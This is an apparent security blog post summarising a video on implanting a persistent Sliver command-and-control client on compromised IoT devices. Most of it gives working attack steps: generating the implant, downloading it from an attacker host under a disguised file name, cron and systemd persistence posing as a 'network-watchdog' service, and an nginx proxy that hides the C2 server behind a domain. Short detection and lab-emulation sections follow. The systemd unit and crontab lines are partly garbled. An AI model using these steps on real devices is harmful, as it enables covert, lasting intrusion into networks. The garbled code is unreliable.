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Introduction:
The proliferation of Internet of Things (IoT) devices has created a vast, often poorly defended attack surface. A recent video from TCM Security’s Andrew Bellini explores a critical offensive security technique: adding a persistent Command and Control (C2) client to IoT devices. This process transforms a vulnerable smart device—like a camera, router, or sensor—into a stealthy, long-term foothold within a network, demonstrating how attackers maintain access beyond an initial compromise.
Learning Objectives:
- Understand the architecture of a persistent C2 implant on resource-constrained IoT devices.
- Learn how to cross-compile and deploy a C2 client for ARM, MIPS, or x86 architectures.
- Implement persistence mechanisms such as cron jobs, init.d scripts, and systemd services on embedded Linux systems.
You Should Know:
- Setting Up the C2 Listener and Crafting the IoT Client
The core of this operation begins with a C2 framework capable of generating or accepting implants for non-standard architectures. For this guide, we’ll use the Sliver C2 framework due to its cross-platform support and robust implant generation. The goal is to create a client that can communicate back to a listener over an encrypted channel, evading basic network detection.
First, set up the Sliver server on your attacking machine (typically a Linux VM). Start the server and generate a new implant profile tailored for your target device’s architecture. For example, if the IoT device runs on an ARMv7 processor, you would generate a stage payload accordingly.
On your attacker machine (Linux) sliver-server Inside the sliver console new-profile --mtls 192.168.1.100 --format elf-arm --arch armv7 iot_persist generate --profile iot_persist --save /tmp/iot_implant
This command creates a statically linked ELF binary. Because IoT devices often lack compilers, you must cross-compile any additional dependencies or use a statically linked binary that includes all necessary libraries. The `–mtls` flag specifies the mutual TLS listener, ensuring the connection is encrypted and authenticated.
Next, transfer this binary to the compromised IoT device. This is typically done after gaining initial access via default credentials or an unpatched vulnerability. You can use scp, wget, or `curl` to download the binary directly onto the device.
On the IoT device (after initial access) wget http://attacker-ip:8000/iot_implant -O /tmp/.systemd-update chmod +x /tmp/.systemd-update
2. Achieving Persistence on the Embedded System
Persistence is the mechanism that ensures the C2 client survives a reboot. Embedded Linux systems vary, but common methods include crontab, init.d scripts, or systemd services. The choice depends on what the device supports. Most consumer IoT devices use BusyBox, which includes a simplified cron daemon.
The most reliable method is to add a cron job that executes the implant at regular intervals or on reboot. However, many devices do not have the `@reboot` directive. A safer approach is to add a script to the startup sequence.
Step-by-step guide for cron persistence:
- List existing cron jobs to avoid overwriting user-specific configurations.
crontab -l
- Add a new job that runs every minute (for immediate callback) and also survives reboots. Append the following line to the root crontab.
echo " /tmp/.systemd-update" | crontab -
Step-by-step guide for init.d/systemd persistence:
If the device uses systemd, create a service file. If it uses init.d (SysVinit), create a startup script.
For systemd:
1. Create a service file, e.g., `/etc/systemd/system/network-watchdog.service`.
[bash] Description=Network Watchdog After=network.target [bash] Type=simple ExecStart=/tmp/.systemd-update Restart=always RestartSec=60 [bash] WantedBy=multi-user.target
2. Enable and start the service.
systemctl enable network-watchdog.service systemctl start network-watchdog.service
For SysVinit, add a script to `/etc/init.d/` and update runlevels:
ln -s /etc/init.d/local_startup /etc/rc.d/rc5.d/S99local_startup
3. Advanced Evasion and Traffic Obfuscation
Basic implant communication over raw TCP or HTTP is easily flagged by modern Network Detection and Response (NDR) solutions. To increase stealth, the C2 client should utilize Domain Fronting, HTTPS with valid certificates, or encapsulate traffic within legitimate protocols like DNS or ICMP.
Using Sliver, you can configure the implant to use HTTPS over a custom domain. This requires setting up a reverse proxy like `nginx` to forward traffic to the Sliver listener, hiding the C2 infrastructure behind a CDN or cloud front.
/etc/nginx/sites-available/c2-proxy
server {
listen 443 ssl;
server_name c2.malicious-domain.com;
ssl_certificate /etc/letsencrypt/live/c2.malicious-domain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.malicious-domain.com/privkey.pem;
location / {
proxy_pass https://127.0.0.1:8443;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
On the implant side, you would generate it with the `–https` flag pointing to the domain, not the raw IP. This makes the traffic blend in with standard HTTPS web browsing.
4. Detection and Mitigation Strategies for Defenders
Understanding how persistence is achieved allows for more effective detection. Defenders should focus on anomalous process execution, unusual outbound connections, and unauthorized modifications to system startup scripts.
Key monitoring commands for Linux-based IoT devices include:
- Check for unauthorized cron jobs:
cat /etc/crontab ls -la /etc/cron.d/
- Audit systemd services for recently added or modified units:
systemctl list-unit-files --type=service | grep enabled systemctl status network-watchdog.service Look for unknown service names
- Monitor outbound network connections:
netstat -tunap | grep ESTABLISHED ss -tunap | grep -v 127.0.0.1
- Check for binaries in unusual locations:
find /tmp /var/tmp /dev/shm -type f -executable -ls
From a blue team perspective, implementing eBPF-based monitoring to detect anomalous process execution patterns is critical. Additionally, network segmentation that restricts IoT devices from initiating outbound connections to the internet (except through a designated gateway) can severely limit the effectiveness of a C2 implant, regardless of its persistence mechanisms.
5. Bonus: Emulating IoT Environments for Safe Testing
Practicing these techniques on production devices is illegal and unethical. Instead, set up a virtualized environment using QEMU to emulate common IoT architectures like ARM or MIPS. This allows you to simulate the deployment and persistence steps without physical hardware.
Download a Debian ARM image wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 Run the emulator with a network bridge qemu-system-arm -M virt -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive file=debian_wheezy_armhf_standard.qcow2,if=virtio -append "root=/dev/vda1" -netdev user,id=net0,hostfwd=tcp::2222-:22 -device virtio-net-pci,netdev=net0
Once the emulated device is running, you can repeat the persistence steps, analyze the file system, and observe how the C2 implant behaves in a controlled sandbox.
What Undercode Say:
- Key Takeaway 1: IoT persistence relies on abusing native system mechanisms like cron and init.d, making it harder to detect than simple process injection.
- Key Takeaway 2: Cross-compilation and static binaries are essential for deploying implants across diverse embedded architectures (ARM, MIPS, PowerPC).
- The convergence of readily available C2 frameworks with the vast, unpatched IoT landscape creates a perfect storm for attackers. Defenders must shift focus from perimeter security to continuous monitoring of internal device behaviors, as a single compromised smart bulb can become a persistent network beachhead. The techniques demonstrated highlight why firmware updates, default credential changes, and strict outbound firewall rules are non-negotiable in modern security postures. As AI tools automate implant generation and evasion, the window for manual detection shrinks, forcing a move toward proactive hunting and device-level anomaly detection.
Prediction:
As IoT devices proliferate in critical infrastructure and enterprise environments, we will see a sharp rise in supply chain attacks that embed persistence mechanisms at the firmware level. This will shift the cat-and-mouse game from post-exploitation persistence to pre-infection hardware and software supply chain compromise. Consequently, regulatory bodies will likely mandate stringent firmware signing, secure boot implementations, and mandatory security update mechanisms for all connected devices, with non-compliance resulting in significant financial penalties.
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Reported By: Andrew Bellini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
